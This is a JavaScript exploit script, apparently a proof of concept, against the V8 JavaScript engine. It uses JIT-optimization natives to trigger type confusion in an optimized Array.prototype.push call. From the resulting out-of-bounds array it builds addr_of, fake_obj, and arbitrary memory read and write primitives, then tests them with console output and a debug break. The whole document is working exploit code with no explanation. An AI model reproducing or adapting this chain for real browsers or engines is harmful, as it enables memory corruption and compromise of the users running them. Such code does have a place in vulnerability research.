var buf = new ArrayBuffer(8); var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); } function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; } function gc_minor() { for (let i = 0; i < 1000; ++i) { new ArrayBuffer(0x10000); } } function gc_major() { new ArrayBuffer(0x7fe00000); } function foo(arg1, arg2){ var b1 = arg2[0]; var a1 = arg1[0]; Array.prototype.push.call(arg2, 1.1, 3.422475765428876e-308, 3.5772116985069833e-308, 1.26980228160927e-310, 1.26980228142276e-310, 6.6, 7.7, 8.8, 9.9, 10.10, 11.11, 12.12, 13.13, 14.14); } function addr_of(obj){ oob[2] = itof(object_map); array[0] = obj; oob[2] = itof(double_map); return ftoi(array[0]); } function fake_obj(addr) { oob[2] = itof(double_map); array[0] = itof(addr); oob[2] = itof(object_map); return array[0]; } function aar(addr) { let temp = ftoi(oob[3]); oob[3] = itof((0x10n << 32n) + addr-0x8n); let val = ftoi(array[0]); oob[3] = itof(temp); return val; } function aaw(addr, val) { let temp = ftoi(oob[3]); oob[3] = itof((0x10n << 32n) + addr-0x8n); array[0] = itof(val); oob[3] = itof(temp); } let i, index; let double_map = 0xdeadbeefcafebaben; let object_map = 0xdeadbeefcafebaben; index = -1; var array = [1.26980228142276e-310, 2.2, 3.3]; var object = [{a:1}, {b:2}]; var oob; gc_major(); const smi = [1, 2, 3]; const double = [1.1, 2.2]; const elements = [{a:1}, {b:2}, {c:3}]; %PrepareFunctionForOptimization(foo); foo(elements, smi); %OptimizeFunctionOnNextCall(foo); foo(double, double); double.pop(); double.pop(); double.pop(); double.pop(); double.pop(); // double.pop(); // double.pop(); %PrepareFunctionForOptimization(foo); foo(elements, smi); %OptimizeFunctionOnNextCall(foo); foo(double, double); // const array = Array(0x20) // array[0] = {a:1}; oob = double[0]; %DebugPrint(array); // %DebugPrint(object); // %DebugPrint(double); double_map = ftoi(oob[2]); object_map = ftoi(oob[17]); console.log("double_map: " + double_map.toString(16)); console.log("object_map: " + object_map.toString(16)); console.log("Address of object: " + addr_of(object).toString(16)); aaw(addr_of(object) + 0x8n, 0xdeadbeefcafebaben); console.log("Val: " + aar(addr_of(object) + 0x8n).toString(16)); // %DebugPrint(double); console.log("debug"); %SystemBreak();